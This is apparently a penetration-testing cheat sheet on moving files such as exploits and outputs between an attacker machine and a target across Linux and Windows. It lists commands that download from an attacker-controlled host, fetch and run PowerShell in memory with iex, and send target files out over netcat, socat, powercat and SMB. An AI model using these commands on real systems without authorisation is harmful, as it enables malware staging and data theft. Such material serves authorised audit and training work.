In this section I’m going to enumerate difference methods to transfer files such us exploits or outputs of some scripts from our attacker machine to the target and viceversa.
In order to perform our work we have the need of transfer some files and this post collects some of this methods. Let’s see, these are some possibilities of environment that we can find during our audits.
Linux 📤 to Linux 📥
HTTP
First we need to start our server with python:
python3 -m http.server port
python -m SimpleHTTPServer port
php -S 0.0.0.0:port
ruby -run -e httpd . -p port
busybox httpd -f -p port
And download our files with Linux basics on the target:
wget http://ip-addr:port/file.name
curl http://ip-addr:port/file.name -o file.name
axel -a -n 20 -o file.name https://ip-addr:port/filen.name
#Freebsd
fetch -o file.name -q -R http://ip-addr:port/file.name
Netcat / Socat
There are more ways with different protocols or programs to transfer our files:
nc -lp port > file.name
sudo socat TCP4-LISTEN:port,fork file:file.name
And on the target:
nc -w 3 ip-addr port < file.name
sudo socat TCP4:ip-addr:port file:file.name,create
FTP (File Transfer Protocol)
First we need to start our ftp server, in this case I will use the Python module pyftpdlib, that allows you to set up our ftp server very quickly. To install you run the following command:
sudo apt-get install python-pyftpdlib
And start the server:
python -m pyftpdlib -p 21
Finally you can download the file on the target with:
wget ftp://ip-addr/file.name [--ftp-user=user] [--ftp-password=password]
axel -a -n 20 -o file.name ftp://ip-addr:port/filen.name
Base64 Encoding
This is not the best solution beause you will need to Copy & Paste the output, and if you need to transfer a big file could be so tedious. Btw this are the commands:
base64 file.name
Copy the result and paste on your machine inside some quotes:
base64 -d "ZmxhZ3tINGNrMW5nTjB0ZXN9Cg==" > file.name
Linux 📤 to Windows 📥
HTTP
First we need to start our server with python:
python3 -m http.server port
python -m SimpleHTTPServer port
And download our files with Windows basics on the target:
Via CMD:
certutil -urlcache -f "http://ip-addr:port/file.name" file.name
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file.name', 'file.name')
Via Powershell:
(New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file.name', 'file.name')
Import Powershell Script without storing in memory
iex (New-Object System.Net.Webclient).DownloadString('http://ip-addr:port/file.ps1')
iex (iwr 'http://ip-addr:port/file.ps1')
SMB
Server Message Block (SMB) is a network protocol that allows us share files, printers, etc, between nodes that are Microsoft Windows.
To start a smb server you need to invoke smbserver.py class from impacket.
python smbserver.py NAME FOLDER
And simply copy the file in the share volume to the target:
copy \\ip-addr\NAME\file.name .\file.name
Maybe there are some others ways to transfer files between Linux and Windows, but with these methods is more than enough to do our job!
Windows 📤 to Linux 📥
This section will be similar to previous one.
HTTP
If the target have python installed you can start the server in the same way:
(Be careful on windows the python script in python2.7 is http.server and not SimpleHTTPServer)
python -m http.server
And download our files with Linux basics on the target:
wget http://ip-addr:port/file.name
curl http://ip-addr:port/file.name -o file.name
SMB
In that case the smb server will also start on the attacker’s machine (Linux). To start a smb server you need to invoke smbserver.py class from impacket:
python smbserver.py NAME FOLDER
But the differece will be the order of copy arguments:
copy .\file.name \\ip-addr\NAME\file.name
Powercat
Powercat is essentially the powershell version of netcat. First need to install in yout kali Machine to download the script:
Installation: sudo apt install powercat
Then you will find the script in the following directory:
/usr/share/windows-resources/powercat/powercat.ps1
Onced transfered the script and imported the module, start the listener on the kali
nc -lp port > file.name
And execute the following command to send the desired file.
powercat -c ip-addr -p port -i file.name
Windows 📤 to Windows 📥
SMB
First we need to create a password protected shared.
New-SmbShare -Name "share" -Path C:\Users\user\Desktop\share -FullAccess Everyone
New-SmbShare -Name "share" -Path C:\Users\user\Desktop\share -FullAccess corp\User
Once the shared the new share we need to mount it on the target machine.
net use Z: \\10.10.10.10\share /user:user password /persistent:yes
Note: If an error such as
The local device name is already in use.you can delete it with:
net use Z: /delete
Finally we can list and use files:
dir Z:\
copy ./file.txt Z:\file.txt